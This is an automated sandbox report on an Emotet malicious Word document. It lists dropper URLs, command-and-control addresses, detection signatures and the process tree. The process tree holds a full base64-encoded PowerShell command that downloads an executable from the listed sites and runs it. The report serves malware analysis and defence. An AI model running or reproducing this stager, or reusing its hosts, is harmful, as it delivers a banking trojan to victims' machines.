Analysis
- max time kernel
145s - max time network
142s - platform
windows10_x64 - resource
win10v200722 - submitted
23/07/2020, 12:15
General
- Target FILE_PGO_070120_CGD_072320.doc
- Size 173KB
- Sample200723-kcswj4v5sn
- SHA256 e26b10f42b932dc89a12d45791673cd6f026bf175bca0f97754a0cfac16156c3
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj/
-
exe.dropper
https://www.techtravel.events/informationl/8lsjhrl6nnkwgyzsudzam_h3wng_a6v5/
-
exe.dropper
http://digiwebmarketing.com/wp-admin/72t0jjhmv7takwvisfnz_eejvf_h6v2ix/
-
exe.dropper
http://holfve.se/images/1ckw5mj49w_2k11px_d/
-
exe.dropper
http://www.cfm.nl/_backup/yfhrmh6u0heidnwruwha2t4mjz6p_yxhyu390i6_q93hkh3ddm/
Extracted
Family
-
emotet
C2
-
94.49.254.194:80
-
212.51.142.238:8080
-
91.231.166.124:8080
-
162.241.92.219:8080
-
79.98.24.39:8080
-
109.117.53.230:443
-
78.189.165.52:8080
-
113.160.130.116:8443
-
121.124.124.40:7080
-
101.187.97.173:80
-
168.235.67.138:7080
-
104.131.44.150:8080
-
5.39.91.110:7080
-
139.59.60.244:8080
-
81.2.235.111:8080
-
116.203.32.252:8080
-
61.19.246.238:443
-
176.111.60.55:8080
-
190.55.181.54:443
-
108.48.41.69:80
rsa_pubkey.plain
Signatures
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Blacklisted process makes network request 3 IoCs
- Emotet Payload 2 IoCs
Detects Emotet payload in memory.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Executes dropped EXE 2 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
- Enumerates system info in registry 2 TTPs 3 IoCs
- Drops file in System32 directory 1 IoCs
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Suspicious use of SetWindowsHookEx 14 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FILE_PGO_070120_CGD_072320.doc" /o ""1⤵
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABsAGkAZQBjAGgAcgBvAHUAaAB3AHUAdwA9ACcAdgB1AGEAYwBkAG8AdQB2AGMAaQBvAHgAaABhAG8AbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAHUAUgBpAFQAeQBgAFAAUgBPAGAAVABvAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABkAGUAaQBjAGgAYgBlAHUAZAByAGUAaQByACAAPQAgACcAMwAzADcAJwA7ACQAcQB1AG8AYQBkAGcAbwBpAGoAdgBlAHUAbQA9ACcAZAB1AHUAdgBtAG8AZQB6AGgAYQBpAHQAZwBvAGgAJwA7ACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGQAZQBpAGMAaABiAGUAdQBkAHIAZQBpAHIAKwAnAC4AZQB4AGUAJwA7ACQAcwBpAGUAbgB0AGUAZQBkAD0AJwBxAHUAYQBpAG4AcQB1AGEAYwBoAGwAbwBhAHoAJwA7ACQAcgBlAHUAcwB0AGgAbwBhAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQA9ACcAaAB0AHQAcABzADoALwAvAGgAYQBvAHEAdQBuAGsAbwBuAGcALgBjAG8AbQAvAGIAbgAvAHMAOQB3ADQAdABnAGMAagBsAF8AZgA2ADYANgA5AHUAZwB1AF8AdwA0AGIAagAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AdABlAGMAaAB0AHIAYQB2AGUAbAAuAGUAdgBlAG4AdABzAC8AaQBuAGYAbwByAG0AYQB0AGkAbwBuAGwALwA4AGwAcwBqAGgAcgBsADYAbgBuAGsAdwBnAHkAegBzAHUAZAB6AGEAbQBfAGgAMwB3AG4AZwBfAGEANgB2ADUALwAqAGgAdAB0AHAAOgAvAC8AZABpAGcAaQB3AGUAYgBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANwAyAHQAMABqAGoAaABtAHYANwB0AGEAawB3AHYAaQBzAGYAbgB6AF8AZQBlAGoAdgBmAF8AaAA2AHYAMgBpAHgALwAqAGgAdAB0AHAAOgAvAC8AaABvAGwAZgB2AGUALgBzAGUALwBpAG0AYQBnAGUAcwAvADEAYwBrAHcANQBtAGoANAA5AHcAXwAyAGsAMQAxAHAAeABfAGQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGYAbQAuAG4AbAAvAF8AYgBhAGMAawB1AHAALwB5AGYAaAByAG0AaAA2AHUAMABoAGUAaQBkAG4AdwByAHUAdwBoAGEAMgB0ADQAbQBqAHoANgBwAF8AeQB4AGgAeQB1ADMAOQAwAGkANgBfAHEAOQAzAGgAawBoADMAZABkAG0ALwAnAC4AIgBzAGAAUABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHMAZQBjAGMAaQBlAHIAZABlAGUAdABoAD0AJwBkAHUAdQB6AHkAZQBhAHcAcAB1AGEAcQB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABnAGUAZQByAHMAaQBlAGIAIABpAG4AIAAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQApAHsAdAByAHkAewAkAHIAZQB1AHMAdABoAG8AYQBzAC4AIgBkAE8AVwBOAGAAbABvAEEAYABkAGYAaQBgAEwAZQAiACgAJABnAGUAZQByAHMAaQBlAGIALAAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAYgB1AGgAeABlAHUAaAA9ACcAZABvAGUAeQBkAGUAaQBkAHEAdQBhAGkAagBsAGUAdQBjACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQAuACIAbABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADQANwA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQBUAGUAIgAoACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAcQB1AG8AbwBkAHQAZQBlAGgAPQAnAGoAaQBhAGYAcgB1AHUAegBsAGEAbwBsAHQAaABvAGkAYwAnADsAYgByAGUAYQBrADsAJABjAGgAaQBnAGMAaABpAGUAbgB0AGUAaQBxAHUAPQAnAHkAbwBvAHcAdgBlAGkAaABuAGkAZQBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHQAbwBpAHoAbAB1AHUAbABmAGkAZQByAD0AJwBmAG8AcQB1AGwAZQB2AGMAYQBvAGoAJwA=1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\337.exeC:\Users\Admin\337.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\TSTheme\dxdiag.exe"C:\Windows\SysWOW64\TSTheme\dxdiag.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/3776-7-0x0000000002350000-0x000000000235C000-memory.dmp
memory/3884-10-0x0000000002220000-0x000000000222C000-memory.dmp
memory/3956-0-0x000002285ACCB000-0x000002285ACD4000-memory.dmp